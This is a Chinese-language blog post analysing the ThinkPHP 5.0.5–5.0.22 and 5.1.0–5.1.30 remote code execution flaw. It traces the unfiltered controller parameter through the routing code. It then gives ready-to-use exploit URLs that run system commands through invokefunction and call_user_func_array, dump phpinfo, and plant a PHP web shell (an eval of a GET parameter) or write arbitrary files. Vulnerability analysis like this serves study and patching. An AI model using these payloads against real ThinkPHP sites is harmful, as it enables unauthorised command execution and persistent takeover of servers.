thinkphp5.x 远程代码执行漏洞

0x01 影响版本

此次漏洞的成因是因为在没有开启强制路由的情况下控制器没过滤所引起的远程代码执行漏洞。

1
2
3
4
漏洞影响版本为:

ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30

漏洞分析

首先看一下官方commit

从补丁可以看出,漏洞产生的原因就是对于$controller没做过滤。

下面以thinkphp 5.1.29为例进行分析

先从补丁处向下追踪

$controller未作任何过滤赋值给了Moudle类的controller属性
然后该属性在exec方法中被传入$this->app->controller.

继续跟踪App类下的controller方法,发现name参数进入parseMoudleAndCLass方法

继续查看,在该方法的第一个if分支,当name中含有\时,直接将name作为类名返回。

根据下面路由地址定义的第四条,命令空间含有\,而且可以直接路由到类,那么只要我们能够控制controller就能访问任何类的任意方法。

此时我们再从补丁处向上分析,查看controller从哪里来的。

这里$this->dispath最终调用的时Request类的path()方法解析路由信息。

这里pathinfo获取的时var_pathinfo,即我们可以GET方式传入参数index.php?s=index/\namespace\class/method,这里具体不细说,可以动态调试函数调用栈查看其具体过程。

到此为止,我们能够控制补丁处的controller,而从调用任何类的方法,此处只需要找到可以利用的类和方法即可

0x02 playload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1.利用system函数远程命令执行 

http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

其中5.0.5版本 ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami去掉think前面的\即可


2.通过phpinfo函数写出phpinfo()的信息

http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1



3.写入shell:

http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php


或者

http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>

本文标题:thinkphp5.x 远程代码执行漏洞

文章作者:boogle

发布时间:2019年01月23日 - 23:58

最后更新:2019年03月07日 - 11:38

原始链接:https://zhengbao.wang/thinkphp5-x-远程代码执行漏洞/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗